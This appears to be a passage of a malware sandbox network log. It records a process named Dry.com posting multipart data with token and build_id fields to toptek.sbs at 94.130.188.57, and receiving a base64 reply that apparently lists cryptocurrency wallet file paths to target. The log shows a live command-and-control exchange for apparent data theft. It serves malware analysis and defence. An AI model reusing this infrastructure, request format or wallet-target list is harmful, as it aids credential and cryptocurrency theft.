Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:00 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:22:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:22:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49779	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:22:01 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----WL6PZMY5PH4EUAAI58YM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 4c 36 50 5a 4d 59 35 50 48 34 45 55 41 41 49 35 38 59 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 57 4c 36 50 5a 4d 59 35 50 48 34 45 55 41 41 49 35 38 59 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 57 4c 36 50 5a 4d 59 35 50 48 34 45 55 41 41 49 35 38 59 4d 0d 0a 43 6f 6e 74 Data Ascii: ------WL6PZMY5PH4EUAAI58YMContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------WL6PZMY5PH4EUAAI58YMContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------WL6PZMY5PH4EUAAI58YMCont
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:01 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49785	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:22:03 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----79R16XLF3EKN7YCBAAIW User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:22:03 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 39 52 31 36 58 4c 46 33 45 4b 4e 37 59 43 42 41 41 49 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 37 39 52 31 36 58 4c 46 33 45 4b 4e 37 59 43 42 41 41 49 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 37 39 52 31 36 58 4c 46 33 45 4b 4e 37 59 43 42 41 41 49 57 0d 0a 43 6f 6e 74 Data Ascii: ------79R16XLF3EKN7YCBAAIWContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------79R16XLF3EKN7YCBAAIWContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------79R16XLF3EKN7YCBAAIWCont
2024-12-23 05:22:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:22:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:22:04 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49791	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:22:05 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----UKX479HVAI58YMYMYU37 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:22:05 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 55 4b 58 34 37 39 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 55 4b 58 34 37 39 48 56 41 49 35 38 59 4d 59 4d 59 55 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 